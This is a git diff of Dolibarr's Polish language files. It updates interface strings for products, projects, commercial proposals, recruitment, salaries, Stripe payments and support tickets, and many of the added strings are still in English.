+Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Propozycja handlowa wysłana za pośrednictwem wiadomości email Notify_WITHDRAW_TRANSMIT=Wycofanie transmisji Notify_WITHDRAW_CREDIT=Wycofanie kredyt @@ -181,6 +183,7 @@ SizeUnitfoot=stopa SizeUnitpoint=punkt BugTracker=Bug tracker SendNewPasswordDesc=Ten formularz umożliwia zażądanie nowego hasła. Zostanie on wysłany na Twój adres e-mail.
      Zmiana zacznie obowiązywać po kliknięciu linku potwierdzającego w wiadomości e-mail.
      Sprawdź swoją skrzynkę odbiorczą. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Powrót do strony logowania AuthenticationDoesNotAllowSendNewPassword=Uwierzytelnianie w trybie %s.
      W tym trybie Dolibarr nie może znać ani zmienić hasła.
      Skontaktuj się z administratorem systemu, jeśli chcesz zmienić swoje hasło. EnableGDLibraryDesc=Zainstaluj lub włącz bibliotekę GD w instalacji PHP, aby użyć tej opcji. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Faktura %s została zweryfikowana. EMailTextInvoicePayed=Faktura %s została zapłacona. EMailTextProposalValidated=Oferta %s została zweryfikowana. EMailTextProposalClosedSigned=Wniosek %s został zamknięty i podpisany. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Zamówienie %s zostało zweryfikowane. EMailTextOrderApproved=Zamówienie %s zostało zatwierdzone. EMailTextOrderValidatedBy=Zamówienie %s zostało zarejestrowane przez %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Zamknij Autofill = Autofill + +# externalsite +ExternalSiteSetup=Skonfiguruj link do zewnętrznej strony internetowej +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Moduł zewnętrznej strony internetowej nie został skonfigurowany poprawny +ExampleMyMenuEntry=Moje wejścia do menu + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Nie udało się usunąć pliku %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Tryb pasywny +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Nie można pobrać plików %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/pl_PL/products.lang b/htdocs/langs/pl_PL/products.lang index 3e830a72f46..a41b3f758ec 100644 --- a/htdocs/langs/pl_PL/products.lang +++ b/htdocs/langs/pl_PL/products.lang @@ -135,16 +135,17 @@ ImportDataset_service_1=Usługi DeleteProductLine=Usuń linię produktu ConfirmDeleteProductLine=Czy na pewno chcesz usunąć tę linię produktu? ProductSpecial=Specjalne -QtyMin=Ilość minimalna +QtyMin=Min. ilość zakupu PriceQtyMin=Cena ilość min. -PriceQtyMinCurrency=Cena (waluta) za tę ilość. (bez rabatu) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=Stawka VAT (dla tego dostawcy / produktu) DiscountQtyMin=Rabat na tę ilość. NoPriceDefinedForThisSupplier=Brak zdefiniowanej ceny / ilości dla tego dostawcy / produktu NoSupplierPriceDefinedForThisProduct=Dla tego produktu nie określono ceny / ilości dostawcy PredefinedItem=Wstępnie zdefiniowany przedmiot PredefinedProductsToSell=Predefiniowany produkt -PredefinedServicesToSell=Usługa predefiniowana +PredefinedServicesToSell=Predefiniowana usługa PredefinedProductsAndServicesToSell=Predefiniowane produkty / usługi do sprzedaży PredefinedProductsToPurchase=Predefiniowane produkty do zakupu PredefinedServicesToPurchase=Predefiniowane usługi do zakupu @@ -221,19 +222,19 @@ unitDM=dm unitCM=cm unitMM=mm unitFT=ft -unitIN=w +unitIN=cal unitM2=Metr kwadratowy unitDM2=dm² unitCM2=cm² unitMM2=mm² unitFT2=ft² -unitIN2=in² +unitIN2=cal² unitM3=Metr sześcienny unitDM3=dm³ unitCM3=cm³ unitMM3=mm³ unitFT3=ft³ -unitIN3=in³ +unitIN3=cal³ unitOZ3=uncja unitgallon=galon ProductCodeModel=Szablon numeru referencyjnego dla produktu @@ -261,7 +262,7 @@ Quarter1=1-szy Kwartał Quarter2=2-i Kwartał Quarter3=3-i Kwartał Quarter4=4-y Kwartał -BarCodePrintsheet=Drukuj kod kreskowy +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Za pomocą tego narzędzia możesz drukować arkusze naklejek z kodami kreskowymi. Wybierz format strony z naklejkami, typ kodu kreskowego i wartość kodu kreskowego, a następnie kliknij przycisk %s . NumberOfStickers=Ilość naklejek do wydrukowania na stronie PrintsheetForOneBarCode=Wydrukuj kilka naklejek dla kodu kreskowego @@ -344,9 +345,9 @@ PossibleValues=Możliwa wartość GoOnMenuToCreateVairants=Przejdź do menu %s - %s, aby przygotować warianty atrybutów (takie jak kolory, rozmiar, ...) UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers ProductSupplierDescription=Opis dostawcy produktu -UseProductSupplierPackaging=Użyj opakowania w cenach dostawcy (przelicz ilości zgodnie z opakowaniem ustawionym na cenie dostawcy podczas dodawania / aktualizowania linii w dokumentach dostawcy) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Opakowanie -PackagingForThisProductDesc=Na zamówienie dostawcy automatycznie zamówisz tę ilość (lub wielokrotność tej ilości). Nie może być mniejsza niż minimalna ilość zakupu +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Ilość linii została przeliczona zgodnie z opakowaniem dostawcy #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Akcja dostępna tylko w wariancie produktu ProductsPricePerCustomer=Ceny produktów na klientów ProductSupplierExtraFields=Dodatkowe atrybuty (ceny dostawców) DeleteLinkedProduct=Usuń produkt podrzędny powiązany z kombinacją -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Średnia ważona ceny PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/pl_PL/projects.lang b/htdocs/langs/pl_PL/projects.lang index 0adebbec1a1..8aac393a3cd 100644 --- a/htdocs/langs/pl_PL/projects.lang +++ b/htdocs/langs/pl_PL/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Ten widok przedstawia wszystkie projekty i zadania, które może TasksDesc=Ten widok przedstawia wszystkie projekty i zadania (twoje uprawnienia mają dostępu do wglądu we wszystko). AllTaskVisibleButEditIfYouAreAssigned=Wszystkie zadania dla zakwalifikowanych projektów są widoczne, ale możesz wprowadzić czas tylko dla zadania przypisanego do wybranego użytkownika. Przypisz zadanie, jeśli chcesz wprowadzić na nim czas. OnlyYourTaskAreVisible=Widoczne są tylko zadania przypisane do Ciebie. Jeśli potrzebujesz wprowadzić czas w zadaniu a ono nie jest tutaj widoczne, to musisz przypisać to zadanie sobie. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Zadania projektów ProjectCategories=Tagi / kategorie projektów NewProject=Nowy projekt @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Prowadzi liczbę otwartych projektów wedł OpportunitiesStatusForProjects=Prowadzi liczbę projektów według statusu ShowProject=Pokaż projekt ShowTask=Pokaż zadanie +SetThirdParty=Set third party SetProject=Ustaw projekt +OutOfProject=Out of project NoProject=Żadny projekt niezdefiniowany lub nie jest twoją własnością NbOfProjects=Liczba projektów NbOfTasks=Liczba zadań @@ -122,7 +125,8 @@ ValidateProject=Sprawdź projet ConfirmValidateProject=Czy zatwierdzić ten projekt? CloseAProject=Zamknij Projekt ConfirmCloseAProject=Czy zamknąć ten projekt? -AlsoCloseAProject=Zamknij także projekt (pozostaw go otwarty, jeśli nadal musisz śledzić na nim zadania produkcyjne) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Otwórz projekt ConfirmReOpenAProject=Czy otworzyć na nowo ten projekt? ProjectContact=Kontakty z projektu @@ -165,7 +169,7 @@ OpportunityProbability=Prawdopodobieństwo ołowiu OpportunityProbabilityShort=Ołów probab. OpportunityAmount=Kwota ołowiu OpportunityAmountShort=Kwota ołowiu -OpportunityWeightedAmount=Kwota ważona szansą sprzedaży +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. kwota ważona OpportunityAmountAverageShort=Średnia kwota ołowiu OpportunityAmountWeigthedShort=Ważona kwota ołowiu @@ -238,7 +242,7 @@ OppStatusPENDING=W oczekiwaniu OppStatusWON=Won OppStatusLOST=Zagubiony Budget=Budżet -AllowToLinkFromOtherCompany=Zezwól na powiązanie projektu z innej firmy

      Obsługiwane wartości:
      - Pozostaw puste: można połączyć dowolny projekt firmy z firmy (domyślnie) a0342fcc19 wszystkie projekty: A0342fcc identyfikatory innych firm oddzielone przecinkami: mogą łączyć wszystkie projekty tych podmiotów zewnętrznych (przykład: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Najnowsze projekty %s LatestModifiedProjects=Najnowsze zmodyfikowane projekty %s OtherFilteredTasks=Inne filtrowane zadania @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Zysk jest obliczany za pomocą AddPersonToTask=Dodaj także do zadań UsageOrganizeEvent=Użycie: Organizacja wydarzeń PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Zaklasyfikuj projekt jako zamknięty po wykonaniu wszystkich jego zadań (postęp 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Uwaga: nie będzie to miało wpływu na istniejące projekty ze wszystkimi zadaniami o postępie 100%%: będziesz musiał je zamknąć ręcznie. Ta opcja dotyczy tylko otwartych projektów. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Wybierz wiersze spędzonego czasu, które nie zostały rozliczone, a następnie wykonaj zbiorcze działanie „Wygeneruj fakturę”, aby je rozliczyć ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. diff --git a/htdocs/langs/pl_PL/propal.lang b/htdocs/langs/pl_PL/propal.lang index 31cad3d5f3f..c008f483c0e 100644 --- a/htdocs/langs/pl_PL/propal.lang +++ b/htdocs/langs/pl_PL/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Opóźnienie w dostępności SetAvailability=Ustaw opóźnienie w dostępności AfterOrder=od zamówienia OtherProposals=Inne oferty + ##### Availability ##### AvailabilityTypeAV_NOW=Natychmiastowo AvailabilityTypeAV_1W=1 tydzień AvailabilityTypeAV_2W=2 tygodnie AvailabilityTypeAV_3W=3 tygodnie AvailabilityTypeAV_1M=1 miesiąc -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Przedstawiciela w ślad za wniosek TypeContact_propal_external_BILLING=Kontakt do klienta w sprawie faktury TypeContact_propal_external_CUSTOMER=kontakt klienta w ślad za wniosek TypeContact_propal_external_SHIPPING=Kontakt z klientem w sprawie dostawy + # Document models -DocModelAzurDescription=Kompletny model oferty (stara implementacja szablonu Cyan) -DocModelCyanDescription=Kompletny model oferty -DefaultModelPropalCreate=Domyślny model kreacji. -DefaultModelPropalToBill=Domyślny szablon po zamknięciu wniosku biznesowego ( do zafakturowania) -DefaultModelPropalClosed=Domyślny szablon po zamknięciu projektu biznesowego ( weryfikowane ) -ProposalCustomerSignature=Akceptacja umowy : podpis i data -ProposalsStatisticsSuppliers=Statystyki propozycji dostawców -CaseFollowedBy=Przypadek, po którym następuje -SignedOnly=Tylko podpisane -NoSign=Set not signed -NoSigned=set not signed CantBeNoSign=cannot be set not signed +CaseFollowedBy=Przypadek, po którym następuje ConfirmMassNoSignature=Bulk Not signed confirmation ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? -IsNotADraft=is not a draft -PassedInOpenStatus=has been validated -Sign=Sign -Signed=signed -ConfirmMassValidation=Bulk Validate confirmation ConfirmMassSignature=Bulk Signature confirmation -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=Identyfikator oferty +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Domyślny szablon po zamknięciu projektu biznesowego ( weryfikowane ) +DefaultModelPropalCreate=Domyślny model kreacji. +DefaultModelPropalToBill=Domyślny szablon po zamknięciu wniosku biznesowego ( do zafakturowania) +DocModelAzurDescription=Kompletny model oferty (stara implementacja szablonu Cyan) +DocModelCyanDescription=Kompletny model oferty +FichinterSigned=Intervention signed IdProduct=ID produktu +IdProposal=Identyfikator oferty +IsNotADraft=is not a draft LineBuyPriceHT=Cena zakupu Kwota bez podatku dla wiersza -SignPropal=Accept proposal +NoSign=Odrzuć +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted +ProposalCustomerSignature=Akceptacja umowy : podpis i data +ProposalsStatisticsSuppliers=Statystyki propozycji dostawców RefusePropal=Refuse proposal Sign=Sign -NoSign=Set not signed -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Tylko podpisane diff --git a/htdocs/langs/pl_PL/recruitment.lang b/htdocs/langs/pl_PL/recruitment.lang index 1c25f2f2a98..0c27b94924f 100644 --- a/htdocs/langs/pl_PL/recruitment.lang +++ b/htdocs/langs/pl_PL/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Rekruter e-mailowy ToUseAGenericEmail=Aby użyć ogólnej wiadomości e-mail. Jeśli nie zostanie zdefiniowany, zostanie użyty adres e-mail osoby odpowiedzialnej za rekrutację NewCandidature=Nowa aplikacja ListOfCandidatures=Lista aplikacji -RequestedRemuneration=Żądane wynagrodzenie -ProposedRemuneration=Proponowane wynagrodzenie +Remuneration=Wypłata +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Proponowana umowa ContractSigned=Umowa podpisana ContractRefused=Umowa została odrzucona RecruitmentCandidature=Podanie JobPositions=Stanowiska pracy RecruitmentCandidatures=Aplikacje -InterviewToDo=Wywiad do zrobienia +InterviewToDo=Contacts to follow AnswerCandidature=Odpowiedź aplikacji YourCandidature=Twoje zgłoszenie YourCandidatureAnswerMessage=Dziękuję za zgłoszenie.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=Stanowisko jest zamknięte. ExtrafieldsJobPosition=Atrybuty uzupełniające (stanowiska pracy) ExtrafieldsApplication=Atrybuty uzupełniające (np. podania o pracę) MakeOffer=Złożyć ofertę +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/pl_PL/salaries.lang b/htdocs/langs/pl_PL/salaries.lang index 93c58b60f07..ce9c12a9e59 100644 --- a/htdocs/langs/pl_PL/salaries.lang +++ b/htdocs/langs/pl_PL/salaries.lang @@ -1,12 +1,12 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konto rachunkowe użyte dla użytkownika kontrahentów -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Dedykowane konto księgowe zdefiniowane na karcie użytkownika będzie używane wyłącznie do księgowania Subledger. Ten zostanie użyty w General Ledger i jako wartość domyślna księgowania Subledger, jeśli dedykowane konto rachunkowe użytkownika dla użytkownika nie zostanie zdefiniowane. -SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Domyślne konto rachunkowe dla płatności wynagrodzenia +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Domyślne konto księgowe dla płatności wynagrodzenia CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Domyślnie pozostaw pustą opcję „Automatycznie utwórz całkowitą płatność” podczas tworzenia wynagrodzenia Salary=Wypłata Salaries=Wypłaty -NewSalary=Nowa pensja -AddSalary=Add salary +NewSalary=Nowe wynagrodzenie +AddSalary=Dodaj wynagrodzenie NewSalaryPayment=Nowa karta wynagrodzeń AddSalaryPayment=Dodaj płatność wynagrodzenia SalaryPayment=Wypłata wynagrodzenia @@ -18,9 +18,10 @@ TJM=Średnia stawka dzienna CurrentSalary=Aktualne wynagrodzenie THMDescription=Wartość ta może służyć do obliczenia kosztu czasu poświęconego na projekt wprowadzony przez użytkowników, jeśli używany jest projekt modułu TJMDescription=Ta wartość ma obecnie charakter wyłącznie informacyjny i nie jest używana do żadnych obliczeń -LastSalaries=Najnowsze pensje %s -AllSalaries=Wszystkie pensje +LastSalaries=Najnowsze %s wynagrodzeń +AllSalaries=Wszystkie wynagrodzenia SalariesStatistics=Statystyki wynagrodzeń SalariesAndPayments=Wynagrodzenia i płatności ConfirmDeleteSalaryPayment=Czy chcesz usunąć tę wypłatę wynagrodzenia? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Ustaw kwotę z ostatniego wynagrodzenia diff --git a/htdocs/langs/pl_PL/stripe.lang b/htdocs/langs/pl_PL/stripe.lang index b0de9e9fa15..c57eb260635 100644 --- a/htdocs/langs/pl_PL/stripe.lang +++ b/htdocs/langs/pl_PL/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Aktywny klucz webhooka ONLINE_PAYMENT_WAREHOUSE=Zapasy do wykorzystania w celu zmniejszenia zapasów po dokonaniu płatności online
      (DO ZROBIENIA Kiedy opcja zmniejszenia zapasów jest realizowana na podstawie faktury i płatność online generuje fakturę?) StripeLiveEnabled=Stripe na żywo włączony (w przeciwnym razie tryb testowy / piaskownicy) StripeImportPayment=Importuj płatności Stripe -ExampleOfTestCreditCard=Przykład karty kredytowej do testu: %s => ważna, %s => błąd CVC, %s => wygasła, %s => opłata nie powiodła się +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Bramy Stripe OAUTH_STRIPE_TEST_ID=Identyfikator klienta Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=Identyfikator klienta Stripe Connect (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Usuń kartę ConfirmDeleteCard=Czy na pewno chcesz usunąć tę kartę kredytową lub debetową? CreateCustomerOnStripe=Utwórz klienta w Stripe CreateCardOnStripe=Utwórz kartę w Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Pokaż w Stripe StripeUserAccountForActions=Konto użytkownika używane do powiadamiania e-mailem o niektórych wydarzeniach Stripe (wypłaty Stripe) StripePayoutList=Lista wypłat Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Łącze do konfiguracji Stripe WebHook w celu wywoła PaymentWillBeRecordedForNextPeriod=Płatność zostanie zarejestrowana za następny okres. ClickHereToTryAgain= Kliknij tutaj, aby spróbować ponownie ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Ze względu na zasady silnego uwierzytelniania klienta, karta musi zostać utworzona z backoffice Stripe. Możesz kliknąć tutaj, aby włączyć rekord klienta Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/pl_PL/ticket.lang b/htdocs/langs/pl_PL/ticket.lang index cf5cfc31814..df0f176b023 100644 --- a/htdocs/langs/pl_PL/ticket.lang +++ b/htdocs/langs/pl_PL/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modyfikuj bilety Permission56003=Usuwaj bilety Permission56004=Zarządzaj biletami Permission56005=Zobacz bilety wszystkich stron trzecich (nie dotyczy użytkowników zewnętrznych, zawsze ograniczaj się do strony trzeciej, od której są zależni) +Permission56006=Export tickets +Tickets=Bilety TicketDictType=Bilet - Typ TicketDictCategory=Bilet - grupy TicketDictSeverity=Bilet - dotkliwości @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Współpracownik zewnętrzny OriginEmail=E-mail reportera Notify_TICKET_SENTBYMAIL=Wyślij wiadomość e-mail z biletem +ExportDataset_ticket_1=Bilety + # Status Read=Czytać Assigned=Przydzielony @@ -90,8 +94,8 @@ TicketPublicAccess=Publiczny interfejs, który nie wymaga identyfikacji, jest do TicketSetupDictionaries=Typ zgłoszenia, ważność i kody analityczne można konfigurować ze słowników TicketParamModule=Konfiguracja zmiennej modułu TicketParamMail=Konfiguracja poczty e-mail -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Wiadomość tekstowa wysyłana po utworzeniu biletu @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Podany tutaj tekst zostanie wstawiony do wiadomości e-ma TicketParamPublicInterface=Konfiguracja interfejsu publicznego TicketsEmailMustExist=Wymagaj istniejącego adresu e-mail, aby utworzyć bilet TicketsEmailMustExistHelp=W interfejsie publicznym adres e-mail powinien być już wypełniony w bazie danych, aby utworzyć nowy bilet. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Interfejs publiczny TicketUrlPublicInterfaceLabelAdmin=Alternatywny adres URL interfejsu publicznego TicketUrlPublicInterfaceHelpAdmin=Możliwe jest zdefiniowanie aliasu do serwera WWW, a tym samym udostępnienie interfejsu publicznego z innym adresem URL (serwer musi działać jako proxy na tym nowym adresie URL) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=Stworzone przez NewTicket=Nowy bilet SubjectAnswerToTicket=Odpowiedź na bilet TicketTypeRequest=Rodzaj żądania -TicketCategory=Kategoryzacja biletów +TicketCategory=Ticket group SeeTicket=Zobacz bilet TicketMarkedAsRead=Bilet został oznaczony jako przeczytany TicketReadOn=Czytaj @@ -190,8 +198,7 @@ TicketAssigned=Bilet jest teraz przypisany TicketChangeType=Zmień typ TicketChangeCategory=Zmień kod analityczny TicketChangeSeverity=Zmień istotność -TicketAddMessage=Dodaj wiadomość -AddMessage=Dodaj wiadomość +TicketAddMessage=Add private message MessageSuccessfullyAdded=Dodano bilet TicketMessageSuccessfullyAdded=Wiadomość została pomyślnie dodana TicketMessagesList=Lista wiadomości @@ -202,8 +209,8 @@ TicketSeverity=Priorytet ShowTicket=Zobacz bilet RelatedTickets=Powiązane bilety TicketAddIntervention=Tworzenie interwencji -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Potwierdź zamknięcie biletu ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Wyślij wiadomość e-mailem TicketNewMessage=Nowa wiadomość ErrorMailRecipientIsEmptyForSendTicketMessage=Adresat jest pusty. Nie wysłano e-maila TicketGoIntoContactTab=Przejdź do zakładki „Kontakty”, aby je wybrać -TicketMessageMailIntro=Wprowadzenie +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Ten tekst jest dodawany tylko na początku e-maila i nie zostanie zapisany. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Podpis -TicketMessageMailSignatureHelp=Ten tekst jest dodawany tylko na końcu wiadomości e-mail i nie zostanie zapisany. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Podpis e-maila zwrotnego -TicketMessageMailSignatureHelpAdmin=Ten tekst zostanie wstawiony po wiadomości z odpowiedzią. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Tylko ten tekst zostanie zapisany na liście wiadomości na karcie biletu. TicketMessageSubstitutionReplacedByGenericValues=Zmienne podstawienia są zastępowane wartościami ogólnymi. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Czas, który upłynął od TicketTimeToRead=Upłynął czas przed przeczytaniem TicketTimeElapsedBeforeSince=Czas, jaki upłynął przed / od @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Na bilecie została umieszczona nowa TicketAssignedToYou=Przydzielony bilet TicketAssignedEmailBody=Przydzielono Ci bilet # %s przez %s MarkMessageAsPrivate=Oznacz wiadomość jako prywatną +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Ta wiadomość nie będzie wyświetlana użytkownikom zewnętrznym TicketEmailOriginIssuer=Wystawca w miejscu pochodzenia biletów InitialMessage=Wiadomość wstępna @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Możesz zobaczyć postęp zgłoszenia w TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Prosimy nie odpowiadać na tę wiadomość! Użyj linku, aby odpowiedzieć w interfejsie. TicketPublicInfoCreateTicket=Ten formularz umożliwia zarejestrowanie zgłoszenia do pomocy technicznej w naszym systemie zarządzania. 